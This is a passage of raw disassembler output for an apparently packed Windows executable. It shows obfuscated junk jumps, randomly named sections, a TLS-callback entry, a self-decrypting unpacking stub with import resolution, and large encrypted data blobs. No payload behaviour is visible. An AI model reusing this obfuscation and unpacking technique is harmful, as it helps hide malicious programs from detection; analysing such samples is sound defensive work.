--------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_4326D5: ; CODE XREF: fzj3qwht:0042F183j jmp loc_430198 ; --------------------------------------------------------------------------- align 4 mov ecx, edi sub eax, 827E1BD9h jmp loc_4306F0 ; --------------------------------------------------------------------------- align 2 dw 3487h dd 0BB535E24h, 432540h, 0FFD6D2E9h, 243487FFh, 8B53EC8Bh dd 0FA5E68D9h, 4E90042h, 0FFFFE2h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F11 loc_43270D: ; CODE XREF: sub_431F11:loc_431388j ; DATA XREF: sub_42F4AE+32BDo and eax, [eax+edx*2+56FFFFD7h] push 351597C7h xchg edi, [esp-4+arg_0] mov esi, edi jmp loc_42E938 ; END OF FUNCTION CHUNK FOR sub_431F11 ; --------------------------------------------------------------------------- db 87h dd 0C65F243Ch, 815A8B02h, 66157BE0h, 0DB880F8Fh db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_432737: ; CODE XREF: fzj3qwht:00432586j jmp near ptr dword_42E794+15h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_43273D: ; CODE XREF: sub_42FA52+962j jmp loc_431F49 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- dw 0F00h ; --------------------------------------------------------------------------- mov ds, word ptr [ecx] add eax, [eax] add [ecx-7480251Dh], al imul ebp, ecx, 0FFFFC176h loc_432754: ; CODE XREF: fzj3qwht:loc_43180Aj pop esi and esi, 53F6BEAEh cmp esi, 460078A5h jmp loc_431D41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_432766: ; CODE XREF: sub_42F4AE+7Aj mov edx, eax xchg edx, [esp-0Ch+arg_8] mov eax, offset loc_43270D jmp loc_430121 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_432775: ; CODE XREF: sub_431686+111Aj js loc_430F61 mov edi, [eax] jmp loc_431A8F ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F8A9 loc_432782: ; CODE XREF: sub_42F8A9+5j call loc_431A8F ; END OF FUNCTION CHUNK FOR sub_42F8A9 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_432789: ; CODE XREF: fzj3qwht:00431441j jmp near ptr byte_430E9D+2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_43278E: ; CODE XREF: sub_431686:loc_432306j call sub_430AEE add [edi], cl test [ecx], ah call near ptr 0F4AC279Bh test byte ptr [edx+0], 0E9h jno short loc_432775 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0) word_4327A6 dw 0C081h ; DATA XREF: fzj3qwht:004313E1o ; --------------------------------------------------------------------------- retn 0D4Ah ; --------------------------------------------------------------------------- db 0A9h dd 0EC68C503h, 0E900431Dh, 0FFFFEB71h, 51C30000h, 0C87CE8Bh dd 9ABB5324h, 0E9004307h, 0FFFFF87Bh ; --------------------------------------------------------------------------- loc_4327CC: ; CODE XREF: fzj3qwht:00431B29j xchg ebx, [esp] pop ebx push edx call sub_431686 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_4327D8: ; CODE XREF: sub_430F48+1514j jmp loc_4303B9 ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- align 2 dw 0C87h dd 0B8505924h, 431AF8h, 0FFF4B6E9h, 0F0000FFh, 0FFF19E8Eh dd 0E9EB87FFh, 0FFFFC7D3h, 0E9990000h, 0FFFFE199h ; --------------------------------------------------------------------------- loc_432804: ; CODE XREF: fzj3qwht:0042F27Aj xchg edx, [esp] pop edx add eax, 0EFB87C22h mov eax, [eax] push offset loc_42F481 jmp locret_42F480 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431167 loc_43281C: ; CODE XREF: sub_431167:loc_430025j mov byte ptr [eax], 87h pop eax push ebx push offset loc_4328FE jmp loc_42FF7C ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- add al, 24h retn ; --------------------------------------------------------------------------- loc_432833: ; CODE XREF: fzj3qwht:00431C04j jmp loc_4302E1 ; --------------------------------------------------------------------------- dd 1FD26800h, 0F2E90043h, 0FFFFF9h, 0CF035300h, 0FFF2A0E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_43284F: ; CODE XREF: fzj3qwht:00431006j cmp esi, 2D731484h jmp loc_42F883 ; --------------------------------------------------------------------------- dw 8100h dd 0E64C5DF8h, 0F470E90Fh, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430BD8 loc_432868: ; CODE XREF: sub_430BD8+16j push 42F759h jmp near ptr dword_42F854+14h ; END OF FUNCTION CHUNK FOR sub_430BD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431E69 loc_432872: ; CODE XREF: sub_431E69-EEBj mov byte ptr [eax], 8Bh pop eax add eax, 0D79F39E0h loc_43287C: ; DATA XREF: sub_431E69:loc_430F79o cwde loc_43287D: ; CODE XREF: sub_42F4AE:loc_430669j add cl, ch scasd ; END OF FUNCTION CHUNK FOR sub_431E69 ; --------------------------------------------------------------------------- dd 87FFFFDFh, 815A2414h, 0B646DBC6h, 9C368B6Dh, 0C5965268h dd 243487B8h, 50E9CE8Bh, 0FFFFFF6h, 0FFD2D98Eh db 0FFh ; --------------------------------------------------------------------------- loc_4328A5: ; CODE XREF: fzj3qwht:loc_42F29Dj sub eax, 94F019B0h add eax, 0D552A4BAh add eax, ebp jmp loc_4313A4 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4328BA proc near ; CODE XREF: sub_430E46-14E9p arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] mov ebp, esi jmp near ptr dword_42E9A4+10h sub_4328BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4328CA: ; CODE XREF: fzj3qwht:00430F73j xchg eax, [esp] xchg edi, [esp] mov eax, edi pop edi xchg edx, [esp] mov ebx, edx jmp near ptr dword_42EA44+5Bh ; --------------------------------------------------------------------------- align 2 pop edi call sub_42FF04 loc_4328E4: ; CODE XREF: fzj3qwht:0043216Aj jmp loc_430828 ; --------------------------------------------------------------------------- align 2 dw 0F081h dd 0E8B59D80h, 6857C503h, 741D8D61h, 0FFE754E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_4328FE: ; DATA XREF: sub_431167+16BAo push 0D9FD5675h pop ebx sub ebx, 52BFC610h xor ebx, 1873F1D0h sub ebx, 59B767F3h xor ebx, 23AAC197h call sub_430C8C ; START OF FUNCTION CHUNK FOR sub_431686 loc_432921: ; CODE XREF: sub_431686+Fj pop edx rol edx, 12h sub edx, 6A3C455Bh rol edx, 9 or edx, 3B952D31h call sub_4318E2 rol ebx, 8 xchg edi, [esp+0] pop edi cmp dword ptr [ebp-8], 0 jnz loc_430B7C jmp loc_431890 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- shr byte ptr [edi-5Bh], 0A9h stc loc_432959: ; DATA XREF: fzj3qwht:00432323o jno short $+2 mov al, [ebp+eax-20h] push 8F379504h jmp loc_42F53C ; --------------------------------------------------------------------------- db 0B9h, 0ECh, 0Dh dd 0EE90043h, 5BFFFFEFh, 8104C3C1h, 0FA19ACBh, 37C38179h dd 0C17165BEh, 0F3810CC3h, 94E90FB8h, 0FFC18EE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432992 proc near ; CODE XREF: fzj3qwht:loc_42E83Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00432AE7 SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push esi push edi push ebx mov esi, offset dword_422000 mov eax, 400000h mov [ebp+var_4], eax mov edx, eax loc_4329AA: ; CODE XREF: sub_432992+15Bj mov eax, [esi+0Ch] or eax, eax jz loc_432A42 add eax, edx mov ebx, eax push eax call ds:dword_42A0B4 ; GetModuleHandleA or eax, eax jnz loc_4329D7 push ebx call ds:dword_42A0B8 ; LoadLibraryA or eax, eax jz loc_432A3A loc_4329D7: ; CODE XREF: sub_432992+30j mov [ebp+var_8], eax push 0 pop [ebp+var_C] loc_4329DF: ; CODE XREF: sub_432992+A2j mov eax, [esi] or eax, eax mov edx, [ebp+var_4] jnz loc_4329EF mov eax, [esi+10h] loc_4329EF: ; CODE XREF: sub_432992+54j add eax, edx add eax, [ebp+var_C] mov ebx, [eax] mov edi, [esi+10h] add edi, edx add edi, [ebp+var_C] or ebx, ebx jz loc_432AE7 test ebx, 80000000h jnz loc_432A16 lea ebx, [ebx+edx+2] loc_432A16: ; CODE XREF: sub_432992+7Aj and ebx, 7FFFFFFFh push ebx push [ebp+var_8] call ds:dword_42A0BC ; GetProcAddress or eax, eax jz loc_432A3A mov [edi], eax add [ebp+var_C], 4 jmp loc_4329DF ; --------------------------------------------------------------------------- align 2 loc_432A3A: ; CODE XREF: sub_432992+3Fj ; sub_432992+96j push ebx mov eax, ebx call sub_432A49 loc_432A42: ; CODE XREF: sub_432992+1Dj pop ebx pop edi pop esi mov esp, ebp pop ebp retn sub_432992 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432A49 proc near ; CODE XREF: sub_432992+ABp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h push ebp mov ebp, esp add esp, 0FFFFFEF8h mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_432A80: ; CODE XREF: sub_432A49+98j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_432AC0 mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 push 2010h push 0 lea eax, [ebp+var_100] push eax push 0 call ds:dword_42A104 ; MessageBoxA push 0FFFFFFFFh call ds:dword_42A0C0 ; ExitProcess mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_432AC0: ; CODE XREF: sub_432A49+40j mov eax, [ebp+var_108] mov edx, [ebp+var_104] mov dl, [edx] mov byte ptr [ebp+eax+var_100], dl inc [ebp+var_108] inc [ebp+var_104] jmp loc_432A80 sub_432A49 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432992 loc_432AE7: ; CODE XREF: sub_432992+6Ej add esi, 14h mov edx, [ebp+var_4] jmp loc_4329AA ; END OF FUNCTION CHUNK FOR sub_432992 ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_432AF7 proc near ; CODE XREF: startp TlsCallback_0p mov eax, offset loc_42E77C locret_432AFC: ; DATA XREF: sub_432AFD+8o retn sub_432AF7 endp ; =============== S U B R O U T I N E ======================================= sub_432AFD proc near ; DATA XREF: fzj3qwht:00432488o var_14 = dword ptr -14h var_10 = dword ptr -10h push esi push edi push ecx push ebx push eax mov ebx, [esp+14h+var_14] sub ebx, offset locret_432AFC mov eax, 3552h push eax push 4 push 1000h push eax push 0 mov eax, offset dword_42A0C4 mov eax, [eax+ebx] call eax pop ecx mov edx, offset loc_42E77C add edx, ebx push edx push ebx push eax mov edi, eax mov esi, edx cld rep movsb mov ecx, offset sub_42E5F8 add ecx, ebx call ecx pop eax mov ebx, [esp+10h+var_10] push 8000h push 0 push eax mov eax, 42A0C8h mov eax, [eax+ebx] call eax pop ecx pop eax pop ebx sub ebx, 5 mov byte ptr [ebx], 0B8h inc ebx mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 0C3h or ecx, ecx jz short loc_432BB2 mov ebx, eax call loc_432C13 cld lodsd cmp eax, 0FFFFFFFFh jz short loc_432BB2 push ebx mov ebx, ecx loc_432B7D: ; CODE XREF: sub_432AFD+91j ; sub_432AFD+A4j ... add ebx, eax add [ebx], ecx add ebx, 4 lodsb cmp al, 0FEh jnb short loc_432B90 and eax, 0FFh jmp short loc_432B7D ; --------------------------------------------------------------------------- loc_432B90: ; CODE XREF: sub_432AFD+8Aj add ebx, 0FEh or eax, eax jp short loc_432BA3 lodsw and eax, 0FFFFh jmp short loc_432B7D ; --------------------------------------------------------------------------- loc_432BA3: ; CODE XREF: sub_432AFD+9Bj lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz short loc_432B7D pop eax loc_432BB2: ; CODE XREF: sub_432AFD+6Dj ; sub_432AFD+7Bj pop ebx pop ecx pop edi pop esi retn sub_432AFD endp ; --------------------------------------------------------------------------- db 71h dd 0ECA4C4B5h, 16CD4F1Dh, 1214CA77h, 7C5A5B5Fh, 5C369DC3h dd 0B35F1167h, 0F1DD2A88h, 0E01A34A4h, 46CD7BACh, 8B8D7E9Ch dd 6F9E4CFh, 0CE8FD41Eh, 0F1840A2Ch, 907FE463h, 183465A4h dd 6766B1CAh ; --------------------------------------------------------------------------- sbb cl, 0Dh ; =============== S U B R O U T I N E ======================================= public start start proc near call sub_432AF7 add eax, 3A21h jmp eax start endp ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: fzj3qwht:TlsCallbackso call sub_432AF7 add eax, 3652h jmp eax TlsCallback_0 endp ; --------------------------------------------------------------------------- loc_432C13: ; CODE XREF: sub_432AFD+71p call sub_432C1C ; --------------------------------------------------------------------------- dd 0FFFFFFFFh ; =============== S U B R O U T I N E ======================================= sub_432C1C proc near ; CODE XREF: fzj3qwht:loc_432C13p pop esi retn sub_432C1C endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 4400h dd 5B3EDAD7h, 412498DAh, 0F0F31623h, 3856BBF4h, 607FD985h dd 8DB84176h, 0AE996ACDh, 3FDA4F69h, 0BAF4909Eh, 0DF2262ADh dd 406D6A1Fh, 0CD405B75h, 0D8A9E18Ch, 0D129EDh, 6A986F79h dd 21525096h, 88696278h, 14E2E870h, 6ECA8AA6h, 5A2DA0D3h dd 0D73ABF70h, 3A5656A8h, 0FEEFDBDDh, 90FAC4E3h, 0D72C351Bh dd 0BC6807BFh, 235A3818h, 0AC513EA8h, 3C231832h, 0F87B5308h dd 0A07AF8FEh, 6B95396Ch, 5DFB0866h, 4CDF600Bh, 0EA862C62h dd 45B0A381h, 0EA70DB2Bh, 1F39173Eh, 186C70BCh, 0C8CE76C0h dd 869F4C06h, 0A5972B87h, 39901101h, 7C44CDB5h, 0DBDA524Eh dd 0BC42CEDAh, 1D74815Bh, 0BBC0A223h, 2B04BE05h, 0B2465399h dd 83293B8Fh, 85E2A6B4h, 618719D3h, 94537716h, 0D4276967h dd 8688FCFh, 0EC769E6Dh, 524C9C95h, 92FAE5EFh, 76629C2h dd 3A8AA89Bh, 878A8CA2h, 17FC0B92h, 8165106Eh, 17EA2E43h dd 0B57826D2h, 0DF173313h, 0E7683F03h, 0F73CDBD0h, 6BE5F018h dd 0CDDC7147h, 91672DAEh, 0BB63C025h, 0D164FE33h, 627BBDAFh dd 5EB21B3Ch, 0D26BF6ABh, 132BDD4Dh, 0B6D33AE7h, 8B4F83F3h dd 0A84AE68Ah, 5CE03F76h, 0B15FC6AAh, 93A6784Fh, 59FB43E8h dd 0B78D8581h, 79CBD223h, 51CFF99h, 9F27F404h, 0AE20EE5Bh dd 572D1752h, 0A9DC8BE9h, 0ED8D4A5Ah, 0DC111DEFh, 96668384h dd 4779B786h, 0B6A1C373h, 0EBA8BC88h, 0C3D0B703h, 9F3771Ah dd 0D34D1169h, 4895A016h, 0FCEA58A1h, 0FA72E5FDh, 0A7B18E38h dd 811BC240h, 0B5A029C7h, 0BF3AF0BBh, 59ABB1Ch, 0C3A0C780h dd 0A53CB0B2h, 0D7620EDh, 5A212085h, 0F54AF50h, 9436BF69h dd 49D2A841h, 60B02B3Dh, 25F742F6h, 79AD21D4h, 807CC78h dd 80h dup(0) fzj3qwht ends ; Section 6. (virtual address 00033000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00033000 ; Flags 40000080: Bss Readable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read _0niaacah segment para public 'BSS' use32 assume cs:_0niaacah ;org 433000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 0AB5E1283h, 0EE2E4F85h, 0A21AF640h, 187E1BA7h, 442A8D2Eh dd 592EED57h, 0F54F8ADCh, 0C5B27650h, 0C19BA443h, 0F0D7F9A6h dd 8434B2D9h, 0FABFA5B4h, 0B700B523h, 38221697h, 9253B481h dd 13F51AF6h, 0B4AB90EBh, 0AAD48554h, 0AA2F0602h, 4262E9C1h dd 0C1667B4Eh, 64E7AE3Bh, 0BB199E62h, 54C76A68h, 8320F216h dd 29E00987h, 0BB1B305h, 524EFF69h, 0E47CEC4Ah, 0EDE67963h dd 0A5F2C3Eh, 32D8AB12h, 0B0B3DBFFh, 0D6D32A50h, 0F3607458h dd 3CCD17E3h, 7E118CA7h, 377C6056h, 3794AA30h, 9FC2AB4h dd 842B5C0Ah, 0EB304762h, 410249BDh, 0DFCA4BF8h, 40748234h dd 0E062B084h, 0E3024343h, 0A2E3269Dh, 211F3384h, 0E334B12Ch dd 43BE7CF8h, 6006936Ch, 0C520A37h, 2BFA848Eh, 8B70E934h dd 5F306E66h, 97B4471Dh, 679FC261h, 155E6029h, 0A70393D6h dd 0DE35895Dh, 2726E003h, 0F1DE01BCh, 11A7180Ah, 7292659Bh dd 0F71F23CCh, 0BE47F394h, 0A51B3BBEh, 5C2424CCh, 5824025Ah dd 0CD8B64AFh, 0B1EB4CA0h, 0DE472A41h, 414DB42Eh, 3EC8C72h dd 0FB812DA4h, 82603D9h, 834FCA46h, 7225FB86h, 0EA46B8C7h dd 0C00D4BD8h, 972AC96Ah, 0CE002559h, 4F752881h, 0D70A7ACCh dd 1BD3FA40h, 87526E87h, 0DDF4433h, 3725B715h, 71C13CEBh dd 74028A51h, 551A2423h, 0E9BCF3BBh, 234C2CF8h, 1C76D1ABh dd 0EAAF6A51h, 27FA2DF2h, 59CC520Ch, 6A22D6C7h, 5E1BAF01h dd 0EA6AAA9Dh, 4E9ECF3Bh, 9655DF51h, 5680EF5Bh, 59930D8Dh dd 0E4304007h, 394BF5D9h, 1BE2B0C7h, 0F617F2DDh, 179AFE4Eh dd 644054Eh, 9E319C09h, 0BF9BC967h, 23F32ED5h, 7F34216Dh dd 3775BBCAh, 2C2AFAA9h, 0D7498025h, 6259D11Bh, 12084A33h dd 7C42A872h, 79C47E87h, 36ED56A9h, 72E26D14h, 55133D51h dd 17B7DC52h, 0B79BE0Ch, 0EDD9B88Dh, 380h dup(0) _0niaacah ends ; Section 7. (virtual address 00034000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00034000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 434000h dd 80h dup(0) align 1000h _idata2 ends end start